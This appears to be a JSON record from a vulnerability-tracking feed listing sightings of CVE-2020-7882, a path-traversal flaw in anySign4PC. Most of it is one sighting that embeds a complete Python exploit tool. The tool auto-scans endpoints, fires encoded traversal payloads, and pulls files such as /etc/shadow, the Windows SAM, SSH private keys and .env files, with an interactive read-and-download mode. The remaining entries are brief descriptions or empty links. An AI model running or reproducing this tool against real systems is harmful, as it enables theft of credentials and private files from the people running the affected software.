{"vulnerability": "CVE-2020-7882", "sightings": [{"uuid": "ff6d924b-9dd2-45de-a827-c317e682b527", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7882", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3m4jerluhe42b", "content": "", "creation_timestamp": "2025-10-31T21:02:39.239360Z"}, {"uuid": "99a30ed2-85bc-48df-a7df-7c20a17e6d9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7882", "type": "seen", "source": "https://gist.github.com/HORKimhab/fffe2f258246452b454df11cc2420f26", "content": "import requests\nimport os\nimport sys\nimport argparse\nimport time\nimport json\nfrom urllib.parse import urljoin, urlparse\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\nimport threading\n\n\"\"\"\nProof of Concept for CVE-2020-7882 - anySign4PC Path Traversal\nVulnerability: getPFXFolderList function parameter allows directory traversal ('../../../')\nAffected versions: anySign4PC 1.1.1.0, 1.1.2.6, 1.1.2.7\nFixed version: 1.1.4.0\nCVSS Score: 7.5 (High) / 9.1 (Critical depending on source)\nReferences:\n- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7882\n- https://www.boho.or.kr/krcert/secNoticeView.do?bulletin_writing_sequence=36344\n\nEnhanced version with multiple payloads and scanning capabilities\n\"\"\"\n\nclass Colors:\n    \"\"\"ANSI color codes for output formatting\"\"\"\n    RED = '\\033[91m'\n    GREEN = '\\033[92m'\n    YELLOW = '\\033[93m'\n    BLUE = '\\033[94m'\n    PURPLE = '\\033[95m'\n    CYAN = '\\033[96m'\n    WHITE = '\\033[97m'\n    BOLD = '\\033[1m'\n    END = '\\033[0m'\n\nclass CVE_2020_7882_Exploit:\n    def __init__(self, target_url, verbose=False, timeout=10, threads=5):\n        \"\"\"\n        Initialize the exploit with the target base URL.\n        \"\"\"\n        self.target_url = target_url.rstrip('/')\n        self.verbose = verbose\n        self.timeout = timeout\n        self.threads = threads\n        self.session = requests.Session()\n        self.session.headers.update({\n            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'\n        })\n        \n        # Different vulnerable endpoints based on implementations\n        self.vuln_endpoints = [\n            \"/getPFXFolderList\",\n            \"/getPFXFolderList.do\",\n            \"/getPFXFolderList.jsp\",\n            \"/cert/getPFXFolderList\",\n            \"/api/getPFXFolderList\",\n            \"/v1/getPFXFolderList\",\n            \"/certlist\",\n            \"/getCertList\",\n            \"/getCertList.do\"\n        ]\n        \n        # Common parameter names that might be vulnerable\n        self.vuln_params = [\n            'path',\n            'folder',\n            'dir',\n            'certPath',\n            'certpath',\n            'directory',\n            'filePath',\n            'filepath',\n            'location',\n            'target'\n        ]\n        \n        # Common payloads for traversal\n        self.traversal_payloads = [\n            # Basic traversal\n            \"../../../../../../../../etc/passwd\",\n            \"../../../../../../../../etc/shadow\",\n            \"../../../../../../../../windows/win.ini\",\n            \"../../../../../../../../boot.ini\",\n            \"../../../../../../../../proc/self/environ\",\n            \"../../../../../../../../etc/hosts\",\n            \"../../../../../../../../var/log/apache2/access.log\",\n            \"../../../../../../../../var/log/nginx/access.log\",\n            \n            # Double encoding\n            \"..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd\",\n            \"..%252f..%252f..%252f..%252f..%252f..%252fwindows/win.ini\",\n            \n            # Unicode encoding\n            \"..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd\",\n            \"..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9cwindows/win.ini\",\n            \n            # URL encoded\n            \"%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd\",\n            \"%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows/win.ini\",\n            \n            # Mixed slashes\n            \"....//....//....//....//....//etc/passwd\",\n            \"..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\windows/win.ini\",\n            \n            # Null byte injection (older systems)\n            \"../../../../../../etc/passwd%00.jpg\",\n            \"../../../../../../windows/win.ini%00.html\",\n            \n            # Absolute path bypass attempts\n            \"C:\\\\windows\\\\win.ini\",\n            \"/etc/passwd\",\n            \"file:///etc/passwd\",\n            \n            # Path with trailing slashes\n            \"../../../../../../etc/passwd/\",\n            \"../../../../../../windows/win.ini/\",\n            \n            # Path with dots\n            \"../../../../../../etc/passwd.\",\n            \"../../../../../../windows/win.ini.\",\n            \n            # Path with spaces\n            \"../../../../../../etc/passwd%20\",\n            \"../../../../../../windows/win.ini%20\",\n            \n            # Path with additional traversal\n            \"../../../../../../etc/passwd../\",\n            \"../../../../../../windows/win.ini../\",\n            \n            # Case variations for Windows\n            \"../../../../../../Windows/win.ini\",\n            \"../../../../../../WINDOWS/win.ini\",\n            \"../../../../../../WINDOWS/WIN.INI\",\n            \n            # Alternate Windows files\n            \"../../../../../../Windows/System32/drivers/etc/hosts\",\n            \"../../../../../../Windows/System32/config/SAM\",\n            \"../../../../../../Windows/System32/config/SYSTEM\",\n            \n            # Linux sensitive files\n            \"../../../../../../root/.bash_history\",\n            \"../../../../../../root/.ssh/id_rsa\",\n            \"../../../../../../home/user/.ssh/id_rsa\",\n            \"../../../../../../etc/issue\",\n            \"../../../../../../etc/motd\",\n            \"../../../../../../var/log/syslog\",\n            \"../../../../../../var/log/auth.log\"\n        ]\n        \n        # Common sensitive files to check\n        self.sensitive_files = {\n            \"windows\": [\n                \"windows/win.ini\",\n                \"Windows/System32/drivers/etc/hosts\",\n                \"Windows/System32/config/SAM\",\n                \"Windows/System32/config/SYSTEM\",\n                \"Windows/System32/config/software\",\n                \"Windows/System32/config/default\",\n                \"Windows/System32/config/SECURITY\",\n                \"Windows/System32/drivers/etc/networks\",\n                \"Windows/System32/drivers/etc/services\",\n                \"Windows/System32/drivers/etc/protocols\",\n                \"Windows/System32/drivers/etc/lmhosts.sam\",\n                \"Windows/debug/NetSetup.log\",\n                \"Windows/Panther/Unattend.xml\",\n                \"Windows/System32/Sysprep/Sysprep.xml\",\n                \"Windows/System32/Sysprep/Sysprep.inf\",\n                \"Windows/System32/Sysprep/Sysprep.sys\"\n            ],\n            \"linux\": [\n                \"etc/passwd\",\n                \"etc/shadow\",\n                \"etc/hosts\",\n                \"etc/hostname\",\n                \"etc/issue\",\n                \"etc/motd\",\n                \"etc/fstab\",\n                \"etc/group\",\n                \"etc/sudoers\",\n                \"etc/crontab\",\n                \"etc/host.conf\",\n                \"etc/resolv.conf\",\n                \"etc/network/interfaces\",\n                \"etc/ssh/sshd_config\",\n                \"etc/ssh/ssh_config\",\n                \"var/log/syslog\",\n                \"var/log/auth.log\",\n                \"var/log/apache2/access.log\",\n                \"var/log/apache2/error.log\",\n                \"var/log/nginx/access.log\",\n                \"var/log/nginx/error.log\",\n                \"home/user/.bashrc\",\n                \"home/user/.bash_history\",\n                \"home/user/.ssh/authorized_keys\",\n                \"home/user/.ssh/id_rsa\",\n                \"root/.bash_history\",\n                \"root/.ssh/authorized_keys\",\n                \"root/.ssh/id_rsa\",\n                \"proc/self/environ\",\n                \"proc/self/cmdline\",\n                \"proc/self/status\"\n            ],\n            \"generic\": [\n                \"web.config\",\n                \"app.config\",\n                \"web.xml\",\n                \"application.properties\",\n                \"application.yml\",\n                \"application.yaml\",\n                \"config.json\",\n                \"config.xml\",\n                \"settings.json\",\n                \"settings.xml\",\n                \"database.ini\",\n                \"db.ini\",\n                \".env\",\n                \".htaccess\",\n                \".htpasswd\",\n                \"robots.txt\",\n                \"sitemap.xml\",\n                \"composer.json\",\n                \"composer.lock\",\n                \"package.json\",\n                \"package-lock.json\",\n                \"pom.xml\",\n                \"build.gradle\",\n                \"Gemfile\",\n                \"Gemfile.lock\",\n                \"requirements.txt\",\n                \"Pipfile\",\n                \"Pipfile.lock\"\n            ]\n        }\n\n    def print_status(self, message, status=\"INFO\"):\n        \"\"\"Print colored status messages\"\"\"\n        if status == \"INFO\":\n            print(f\"{Colors.BLUE}[*]{Colors.END} {message}\")\n        elif status == \"SUCCESS\":\n            print(f\"{Colors.GREEN}[+]{Colors.END} {message}\")\n        elif status == \"ERROR\":\n            print(f\"{Colors.RED}[-]{Colors.END} {message}\")\n        elif status == \"WARNING\":\n            print(f\"{Colors.YELLOW}[!]{Colors.END} {message}\")\n        elif status == \"DEBUG\" and self.verbose:\n            print(f\"{Colors.PURPLE}[D]{Colors.END} {message}\")\n\n    def test_endpoint(self, endpoint, param_name, payload):\n        \"\"\"\n        Test a specific endpoint with a parameter and payload\n        \"\"\"\n        full_url = urljoin(self.target_url, endpoint)\n        params = {param_name: payload}\n        \n        try:\n            response = self.session.get(full_url, params=params, timeout=self.timeout, verify=False)\n            \n            # Check for successful traversal indicators\n            if response.status_code == 200 and len(response.text) > 100:\n                # Check for sensitive content patterns\n                sensitive_patterns = [\n                    \"root:x:0:0\",\n                    \"Administrator:\",\n                    \"password\",\n                    \"secret\",\n                    \"private key\",\n                    \"BEGIN RSA PRIVATE KEY\",\n                    \"for 32-bit\",\n                    \"Windows Registry\",\n                    \"drivers/etc\",\n                    \"system32\"\n                ]\n                \n                for pattern in sensitive_patterns:\n                    if pattern.lower() in response.text.lower():\n                        return True, response.text, full_url, param_name, payload\n            \n            return False, None, full_url, param_name, payload\n            \n        except Exception as e:\n            if self.verbose:\n                self.print_status(f\"Error testing {full_url}: {str(e)}\", \"DEBUG\")\n            return False, None, full_url, param_name, payload\n\n    def scan_vulnerable_endpoints(self):\n        \"\"\"\n        Scan for vulnerable endpoints and parameters\n        \"\"\"\n        self.print_status(\"Starting vulnerability scan...\", \"INFO\")\n        self.print_status(f\"Testing {len(self.vuln_endpoints)} endpoints with {len(self.vuln_params)} parameters\", \"INFO\")\n        \n        vulnerabilities = []\n        total_tests = len(self.vuln_endpoints) * len(self.vuln_params) * len(self.traversal_payloads[:5])  # Test first 5 payloads for scanning\n        \n        if self.verbose:\n            self.print_status(f\"Total tests to perform: {total_tests}\", \"DEBUG\")\n        \n        # Test with threading\n        with ThreadPoolExecutor(max_workers=self.threads) as executor:\n            futures = []\n            \n            # Use first 5 payloads for initial scan\n            scan_payloads = self.traversal_payloads[:5]\n            \n            for endpoint in self.vuln_endpoints:\n                for param in self.vuln_params:\n                    for payload in scan_payloads:\n                        future = executor.submit(self.test_endpoint, endpoint, param, payload)\n                        futures.append((future, endpoint, param, payload))\n            \n            # Process results\n            for future, endpoint, param, payload in futures:\n                try:\n                    is_vulnerable, content, full_url, used_param, used_payload = future.result(timeout=self.timeout+5)\n                    \n                    if is_vulnerable:\n                        self.print_status(f\"Found vulnerability at {endpoint} with param '{param}' using payload: {payload}\", \"SUCCESS\")\n                        vulnerabilities.append({\n                            'endpoint': endpoint,\n                            'param': used_param,\n                            'payload': used_payload,\n                            'url': full_url,\n                            'content_preview': content[:500] if content else \"\"\n                        })\n                        \n                        # If we found a working payload, try more payloads with this endpoint\n                        self.print_status(f\"Testing additional payloads on {endpoint}\", \"INFO\")\n                        additional_payloads = self.traversal_payloads[5:20]  # Test next 15 payloads\n                        for extra_payload in additional_payloads:\n                            test_result = self.test_endpoint(endpoint, used_param, extra_payload)\n                            if test_result[0]:\n                                vulnerabilities.append({\n                                    'endpoint': endpoint,\n                                    'param': used_param,\n                                    'payload': extra_payload,\n                                    'url': full_url,\n                                    'content_preview': test_result[1][:500] if test_result[1] else \"\"\n                                })\n                                self.print_status(f\"Additional working payload: {extra_payload}\", \"SUCCESS\")\n                \n                except Exception as e:\n                    if self.verbose:\n                        self.print_status(f\"Thread error: {str(e)}\", \"DEBUG\")\n        \n        return vulnerabilities\n\n    def exploit_file(self, endpoint, param, payload):\n        \"\"\"\n        Exploit a specific file using known vulnerable endpoint and parameter\n        \"\"\"\n        full_url = urljoin(self.target_url, endpoint)\n        params = {param: payload}\n        \n        try:\n            response = self.session.get(full_url, params=params, timeout=self.timeout, verify=False)\n            \n            if response.status_code == 200 and len(response.text) > 0:\n                return True, response.text, full_url\n            else:\n                return False, None, full_url\n                \n        except Exception as e:\n            if self.verbose:\n                self.print_status(f\"Exploit error: {str(e)}\", \"DEBUG\")\n            return False, None, full_url\n\n    def scan_sensitive_files(self, endpoint, param):\n        \"\"\"\n        Scan for sensitive files using a known vulnerable endpoint\n        \"\"\"\n        self.print_status(f\"Scanning sensitive files using {endpoint} with parameter {param}\", \"INFO\")\n        \n        found_files = []\n        \n        # Test files for each OS\n        for os_type, files in self.sensitive_files.items():\n            self.print_status(f\"Checking {os_type} sensitive files...\", \"INFO\")\n            \n            for file_path in files:\n                # Build traversal payload\n                depth = 6  # Default depth for traversal\n                payload = \"/\".join([\"..\"] * depth) + \"/\" + file_path\n                \n                # Try different depths\n                for d in range(4, 8):\n                    payload = \"/\".join([\"..\"] * d) + \"/\" + file_path\n                    success, content, url = self.exploit_file(endpoint, param, payload)\n                    \n                    if success and content and len(content) > 100:\n                        self.print_status(f\"Found sensitive file: {file_path} (depth: {d})\", \"SUCCESS\")\n                        found_files.append({\n                            'path': file_path,\n                            'os_type': os_type,\n                            'payload': payload,\n                            'content_preview': content[:500],\n                            'content': content,\n                            'url': url,\n                            'length': len(content)\n                        })\n                        break  # Found it, no need to try more depths\n            \n        return found_files\n\n    def auto_scan(self):\n        \"\"\"\n        Perform automatic scanning and exploitation\n        \"\"\"\n        self.print_status(\"=\"*60, \"INFO\")\n        self.print_status(\"CVE-2020-7882 Automated Scanner\", \"BOLD\")\n        self.print_status(\"=\"*60, \"INFO\")\n        \n        # Step 1: Find vulnerable endpoint and parameter\n        vulnerabilities = self.scan_vulnerable_endpoints()\n        \n        if not vulnerabilities:\n            self.print_status(\"No vulnerabilities found during initial scan.\", \"ERROR\")\n            self.print_status(\"Try adjusting target URL or using manual mode.\", \"WARNING\")\n            return []\n        \n        # Step 2: Use first found vulnerability to scan for sensitive files\n        vuln = vulnerabilities[0]\n        self.print_status(f\"Using vulnerability: {vuln['endpoint']} with param: {vuln['param']}\", \"SUCCESS\")\n        \n        found_files = self.scan_sensitive_files(vuln['endpoint'], vuln['param'])\n        \n        # Step 3: Create report\n        report = {\n            'target': self.target_url,\n            'vulnerabilities': vulnerabilities,\n            'sensitive_files_found': found_files,\n            'timestamp': time.time()\n        }\n        \n        return report\n\n    def generate_report(self, report_data, output_file=None):\n        \"\"\"\n        Generate a report of findings\n        \"\"\"\n        if output_file:\n            if output_file.endswith('.json'):\n                with open(output_file, 'w') as f:\n                    json.dump(report_data, f, indent=2)\n                self.print_status(f\"Report saved to {output_file}\", \"SUCCESS\")\n            else:\n                # Text report\n                with open(output_file, 'w') as f:\n                    f.write(\"=\"*80 + \"\\n\")\n                    f.write(\"CVE-2020-7882 Vulnerability Report\\n\")\n                    f.write(\"=\"*80 + \"\\n\\n\")\n                    f.write(f\"Target: {report_data['target']}\\n\")\n                    f.write(f\"Timestamp: {time.ctime(report_data['timestamp'])}\\n\\n\")\n                    \n                    f.write(\"Vulnerabilities Found:\\n\")\n                    f.write(\"-\"*40 + \"\\n\")\n                    for i, vuln in enumerate(report_data['vulnerabilities'], 1):\n                        f.write(f\"{i}. Endpoint: {vuln['endpoint']}\\n\")\n                        f.write(f\"   Parameter: {vuln['param']}\\n\")\n                        f.write(f\"   Payload: {vuln['payload']}\\n\")\n                        f.write(f\"   URL: {vuln['url']}\\n\")\n                        f.write(f\"   Content Preview: {vuln['content_preview'][:200]}...\\n\\n\")\n                    \n                    if report_data['sensitive_files_found']:\n                        f.write(\"Sensitive Files Found:\\n\")\n                        f.write(\"-\"*40 + \"\\n\")\n                        for i, file_data in enumerate(report_data['sensitive_files_found'], 1):\n                            f.write(f\"{i}. Path: {file_data['path']}\\n\")\n                            f.write(f\"   OS Type: {file_data['os_type']}\\n\")\n                            f.write(f\"   Size: {file_data['length']} bytes\\n\")\n                            f.write(f\"   Payload: {file_data['payload']}\\n\")\n                            f.write(f\"   Content Preview: {file_data['content_preview'][:200]}...\\n\\n\")\n                    else:\n                        f.write(\"No sensitive files found.\\n\")\n                \n                self.print_status(f\"Report saved to {output_file}\", \"SUCCESS\")\n        else:\n            # Print to console\n            self.print_report_console(report_data)\n\n    def print_report_console(self, report_data):\n        \"\"\"\n        Print report to console\n        \"\"\"\n        print(\"\\n\" + \"=\"*80)\n        print(f\"{Colors.BOLD}CVE-2020-7882 Vulnerability Report{Colors.END}\")\n        print(\"=\"*80)\n        print(f\"Target: {report_data['target']}\")\n        print(f\"Timestamp: {time.ctime(report_data['timestamp'])}\")\n        print(\"\\n\")\n        \n        # Vulnerabilities\n        print(f\"{Colors.BOLD}Vulnerabilities Found:{Colors.END}\")\n        print(\"-\"*40)\n        for i, vuln in enumerate(report_data['vulnerabilities'], 1):\n            print(f\"{i}. Endpoint: {Colors.YELLOW}{vuln['endpoint']}{Colors.END}\")\n            print(f\"   Parameter: {Colors.CYAN}{vuln['param']}{Colors.END}\")\n            print(f\"   Payload: {Colors.GREEN}{vuln['payload']}{Colors.END}\")\n            print(f\"   URL: {Colors.BLUE}{vuln['url']}{Colors.END}\")\n            print(f\"   Content Preview: {vuln['content_preview'][:200]}...\")\n            print()\n        \n        # Sensitive files\n        if report_data['sensitive_files_found']:\n            print(f\"{Colors.BOLD}Sensitive Files Found:{Colors.END}\")\n            print(\"-\"*40)\n            for i, file_data in enumerate(report_data['sensitive_files_found'], 1):\n                print(f\"{i}. Path: {Colors.RED}{file_data['path']}{Colors.END}\")\n                print(f\"   OS Type: {Colors.PURPLE}{file_data['os_type']}{Colors.END}\")\n                print(f\"   Size: {file_data['length']} bytes\")\n                print(f\"   Payload: {Colors.GREEN}{file_data['payload']}{Colors.END}\")\n                print(f\"   Content Preview: {file_data['content_preview'][:200]}...\")\n                print()\n        else:\n            print(f\"{Colors.YELLOW}No sensitive files found.{Colors.END}\")\n\n    def interactive_exploit(self):\n        \"\"\"\n        Interactive mode for manual exploitation\n        \"\"\"\n        self.print_status(\"Starting interactive exploit mode\", \"INFO\")\n        \n        # First, let's try to find a working endpoint and parameter\n        self.print_status(\"Attempting to find vulnerable endpoint...\", \"INFO\")\n        vulnerabilities = self.scan_vulnerable_endpoints()\n        \n        if vulnerabilities:\n            vuln = vulnerabilities[0]\n            self.print_status(f\"Found vulnerability at {vuln['endpoint']} with param '{vuln['param']}'\", \"SUCCESS\")\n            endpoint = vuln['endpoint']\n            param = vuln['param']\n        else:\n            self.print_status(\"No vulnerabilities found automatically. Please enter manually.\", \"WARNING\")\n            \n            # Let user specify endpoint and parameter\n            print(\"\\nAvailable endpoints:\", \", \".join(self.vuln_endpoints))\n            endpoint = input(\"Enter endpoint (e.g., /getPFXFolderList): \").strip()\n            if not endpoint.startswith('/'):\n                endpoint = '/' + endpoint\n            \n            print(\"\\nAvailable parameters:\", \", \".join(self.vuln_params))\n            param = input(\"Enter parameter name (e.g., path): \").strip()\n        \n        while True:\n            print(\"\\n\" + \"=\"*50)\n            print(\"Interactive Exploit Menu\")\n            print(\"=\"*50)\n            print(f\"Current endpoint: {endpoint}\")\n            print(f\"Current parameter: {param}\")\n            print(\"\\nOptions:\")\n            print(\"1. Read a file\")\n            print(\"2. List directory contents\")\n            print(\"3. Change endpoint/parameter\")\n            print(\"4. Show common payloads\")\n            print(\"5. Scan for sensitive files\")\n            print(\"6. Download file content\")\n            print(\"7. Exit\")\n            \n            choice = input(\"\\nSelect option (1-7): \").strip()\n            \n            if choice == '1':\n                file_path = input(\"Enter file path to read (e.g., ../../../../etc/passwd): \").strip()\n                if file_path:\n                    success, content, url = self.exploit_file(endpoint, param, file_path)\n                    if success:\n                        self.print_status(f\"File read successfully!\", \"SUCCESS\")\n                        print(\"\\n\" + \"=\"*50)\n                        print(\"FILE CONTENT:\")\n                        print(\"=\"*50)\n                        print(content)\n                        print(\"=\"*50)\n                    else:\n                        self.print_status(\"Failed to read file.\", \"ERROR\")\n            \n            elif choice == '2':\n                dir_path = input(\"Enter directory path (e.g., ../../../../etc/): \").strip()\n                if dir_path:\n                    # Try to list directory with a common listing payload\n                    listing_payloads = [\n                        dir_path,\n                        dir_path + \"*\",\n                        dir_path + \"?\",\n                        dir_path + \"..\"\n                    ]\n                    found_listing = False\n                    for payload in listing_payloads:\n                        success, content, url = self.exploit_file(endpoint, param, payload)\n                        if success and content and len(content) > 50:\n                            print(\"\\n\" + \"=\"*50)\n                            print(\"DIRECTORY LISTING:\")\n                            print(\"=\"*50)\n                            print(content)\n                            print(\"=\"*50)\n                            found_listing = True\n                            break\n                    if not found_listing:\n                        self.print_status(\"Could not get directory listing.\", \"ERROR\")\n            \n            elif choice == '3':\n                print(\"\\nAvailable endpoints:\", \", \".join(self.vuln_endpoints))\n                endpoint = input(\"Enter new endpoint: \").strip()\n                if not endpoint.startswith('/'):\n                    endpoint = '/' + endpoint\n                print(\"\\nAvailable parameters:\", \", \".join(self.vuln_params))\n                param = input(\"Enter new parameter: \").strip()\n                self.print_status(f\"Updated to endpoint: {endpoint}, param: {param}\", \"INFO\")\n            \n            elif choice == '4':\n                print(\"\\n\" + \"=\"*50)\n                print(\"COMMON PAYLOADS:\")\n                print(\"=\"*50)\n                for i, payload in enumerate(self.traversal_payloads[:20], 1):\n                    print(f\"{i}. {payload}\")\n                print(\"\\n... and many more variations in the payload list\")\n            \n            elif choice == '5':\n                found_files = self.scan_sensitive_files(endpoint, param)\n                if found_files:\n                    self.print_status(f\"Found {len(found_files)} sensitive files\", \"SUCCESS\")\n                    for file_data in found_files:\n                        print(f\"\\nFile: {file_data['path']}\")\n                        print(f\"Payload: {file_data['payload']}\")\n                        print(f\"Size: {file_data['length']} bytes\")\n                        print(f\"Content preview: {file_data['content_preview'][:200]}...\")\n                else:\n                    self.print_status(\"No sensitive files found\", \"WARNING\")\n            \n            elif choice == '6':\n                file_path = input(\"Enter file path to download: \").strip()\n                if file_path:\n                    success, content, url = self.exploit_file(endpoint, param, file_path)\n                    if success:\n                        filename = input(\"Enter output filename (or press Enter for default): \").strip()\n                        if not filename:\n                            filename = os.path.basename(file_path) or \"downloaded_file\"\n                        try:\n                            with open(filename, 'wb') as f:\n                                f.write(content.encode('utf-8'))\n                            self.print_status(f\"File downloaded to {filename}\", \"SUCCESS\")\n                        except Exception as e:\n                            self.print_status(f\"Error saving file: {str(e)}\", \"ERROR\")\n                    else:\n                        self.print_status(\"Failed to download file.\", \"ERROR\")\n            \n            elif choice == '7':\n                self.print_status(\"Exiting interactive mode...\", \"INFO\")\n                break\n            \n            else:\n                self.print_status(\"Invalid option. Please try again.\", \"ERROR\")\n\ndef main():\n    parser = argparse.ArgumentParser(description='CVE-2020-7882 PoC Exploit - anySign4PC Path Traversal')\n    parser.add_argument('target', help='Target URL (e.g., http://192.168.1.100:8080)')\n    parser.add_argument('--scan', action='store_true', help='Perform automated vulnerability scan')\n    parser.add_argument('--interactive', action='store_true', help='Start interactive exploit mode')\n    parser.add_argument('--read', help='Read a file using traversal (e.g., ../../../../etc/passwd)')\n    parser.add_argument('--delete', help='Delete a file using traversal')\n    parser.add_argument('--list', help='List directory contents using traversal')\n    parser.add_argument('--endpoint', help='Specific endpoint to use (default: auto-detect)')\n    parser.add_argument('--param', help='Specific parameter to use (default: auto-detect)')\n    parser.add_argument('--verbose', action='store_true', help='Enable verbose output')\n    parser.add_argument('--output', help='Save report to file')\n    parser.add_argument('--threads', type=int, default=5, help='Number of threads for scanning (default: 5)')\n    parser.add_argument('--timeout', type=int, default=10, help='Request timeout in seconds (default: 10)')\n    \n    args = parser.parse_args()\n    \n    # Disable SSL warnings\n    requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)\n    \n    # Initialize exploit\n    exploit = CVE_2020_7882_Exploit(\n        target_url=args.target,\n        verbose=args.verbose,\n        timeout=args.timeout,\n        threads=args.threads\n    )\n    \n    # Check for operation mode\n    if args.scan:\n        # Automated scan mode\n        report = exploit.auto_scan()\n        if report:\n            exploit.generate_report(report, args.output)\n        else:\n            exploit.print_status(\"Scan completed. No vulnerabilities found.\", \"ERROR\")\n    \n    elif args.interactive:\n        # Interactive mode\n        exploit.interactive_exploit()\n    \n    elif args.read:\n        # Single file read\n        if args.endpoint and args.param:\n            success, content, url = exploit.exploit_file(args.endpoint, args.param, args.read)\n            if success:\n                exploit.print_status(\"File read successfully!\", \"SUCCESS\")\n                print(\"\\n\" + \"=\"*50)\n                print(\"FILE CONTENT:\")\n                print(\"=\"*50)\n                print(content)\n                print(\"=\"*50)\n            else:\n                exploit.print_status(\"Failed to read file.\", \"ERROR\")\n        else:\n            # Auto-detect endpoint\n            vulnerabilities = exploit.scan_vulnerable_endpoints()\n            if vulnerabilities:\n                vuln = vulnerabilities[0]\n                success, content, url = exploit.exploit_file(vuln['endpoint'], vuln['param'], args.read)\n                if success:\n                    exploit.print_status(\"File read successfully!\", \"SUCCESS\")\n                    print(\"\\n\" + \"=\"*50)\n                    print(\"FILE CONTENT:\")\n                    print(\"=\"*50)\n                    print(content)\n                    print(\"=\"*50)\n                else:\n                    exploit.print_status(\"Failed to read file.\", \"ERROR\")\n            else:\n                exploit.print_status(\"No vulnerable endpoint found. Please specify --endpoint and --param.\", \"ERROR\")\n    \n    elif args.list:\n        # Directory listing\n        if args.endpoint and args.param:\n            success, content, url = exploit.exploit_file(args.endpoint, args.param, args.list)\n            if success:\n                exploit.print_status(\"Directory listing retrieved!\", \"SUCCESS\")\n                print(\"\\n\" + \"=\"*50)\n                print(\"DIRECTORY CONTENT:\")\n                print(\"=\"*50)\n                print(content)\n                print(\"=\"*50)\n            else:\n                exploit.print_status(\"Failed to get directory listing.\", \"ERROR\")\n        else:\n            vulnerabilities = exploit.scan_vulnerable_endpoints()\n            if vulnerabilities:\n                vuln = vulnerabilities[0]\n                success, content, url = exploit.exploit_file(vuln['endpoint'], vuln['param'], args.list)\n                if success:\n                    exploit.print_status(\"Directory listing retrieved!\", \"SUCCESS\")\n                    print(\"\\n\" + \"=\"*50)\n                    print(\"DIRECTORY CONTENT:\")\n                    print(\"=\"*50)\n                    print(content)\n                    print(\"=\"*50)\n                else:\n                    exploit.print_status(\"Failed to get directory listing.\", \"ERROR\")\n            else:\n                exploit.print_status(\"No vulnerable endpoint found. Please specify --endpoint and --param.\", \"ERROR\")\n    \n    else:\n        # Default: Show help\n        exploit.print_status(\"CVE-2020-7882 PoC Exploit\", \"BOLD\")\n        exploit.print_status(\"Usage examples:\", \"INFO\")\n        print(\"\\n1. Automated scan:\")\n        print(f\"   python {os.path.basename(__file__)} {args.target} --scan\")\n        print(\"\\n2. Interactive mode:\")\n        print(f\"   python {os.path.basename(__file__)} {args.target} --interactive\")\n        print(\"\\n3. Read a file:\")\n        print(f\"   python {os.path.basename(__file__)} {args.target} --read ../../../../etc/passwd\")\n        print(\"\\n4. List directory:\")\n        print(f\"   python {os.path.basename(__file__)} {args.target} --list ../../../../etc/\")\n        print(\"\\n5. With specific endpoint and parameter:\")\n        print(f\"   python {os.path.basename(__file__)} {args.target} --endpoint /getPFXFolderList --param path --read ../../../../windows/win.ini\")\n        print(\"\\n6. Save report:\")\n        print(f\"   python {os.path.basename(__file__)} {args.target} --scan --output report.json\")\n        print(\"\\nFor more options:\")\n        print(f\"   python {os.path.basename(__file__)} -h\")\n\nif __name__ == \"__main__\":\n    main()", "creation_timestamp": "2026-07-30T09:55:30.349119Z"}, {"uuid": "c1e2fd42-2f75-4e4f-861f-7ec807023fa8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7882", "type": "seen", "source": "https://t.me/cibsecurity/32790", "content": "\u203c CVE-2020-7882 \u203c\n\nUsing the parameter of getPFXFolderList function, attackers can see the information of authorization certification and delete the files. It occurs because the parameter contains path traversal characters(ie. '../../../')\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-11-22T18:23:47.000000Z"}, {"uuid": "91b495e9-d69e-43e0-ad67-de1c62eacf69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7882", "type": "seen", "source": "Telegram/4UmGIQtfBl8KQZeNab7MkdV3KJBv_MFiZ_bvWr3ttjSdt98", "content": "", "creation_timestamp": "2026-07-30T19:00:04.435074Z"}, {"uuid": "798fa5da-df2e-4409-8b4b-5bfe42b4c9b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7882", "type": "published-proof-of-concept", "source": "Telegram/4UmGIQtfBl8KQZeNab7MkdV3KJBv_MFiZ_bvWr3ttjSdt98", "content": "", "creation_timestamp": "2026-07-31T00:00:23.950283Z"}]}